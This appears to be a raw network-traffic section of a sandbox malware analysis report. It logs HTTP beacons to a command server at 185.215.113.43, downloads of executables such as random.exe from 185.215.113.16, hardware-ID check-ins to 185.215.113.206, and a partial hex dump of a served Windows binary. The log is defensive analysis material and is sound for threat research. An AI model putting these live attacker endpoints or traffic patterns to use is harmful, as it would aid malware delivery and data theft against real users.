00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:51 GMTContent-Type: application/octet-streamContent-Length: 1968128Last-Modified: Thu, 31 Oct 2024 23:36:29 GMTConnection: keep-aliveETag: "6724147d-1e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4e 00 00 04 00 00 8f dc 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 0a 4e 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 0a 4e 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6f 64 6b 73 63 63 62 00 f0 1a 00 00 20 33 00 00 ec 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6f 6a 71 62 6b 7a 00 10 00 00 00 10 4e 00 00 04 00 00 00 e2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4e 00 00 22 00 00 00 e6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003036001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003037001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="hwid"62937520F30F807656615------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="build"tale------JEBKEHJJDAAAAKECBGHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003038001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIECHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="hwid"62937520F30F807656615------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="build"tale------BAAFBFBAAKECFIEBFIEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003039001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEBGCAAECAKFHIIJDBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="hwid"62937520F30F807656615------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="build"tale------IDAEBGCAAECAKFHIIJDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEGHJJDGHCAKEBGIJKJHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="hwid"62937520F30F807656615------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="build"tale------IIEGHJJDGHCAKEBGIJKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="hwid"62937520F30F807656615------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="build"tale------CBAKJEHDBGHIEBGCGDGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGCAAAAFBKEBFHJEGCFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 2d 2d 0d 0a Data Ascii: ------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="hwid"62937520F30F807656615------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="build"tale------FBGCAAAAFBKEBFHJEGCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209
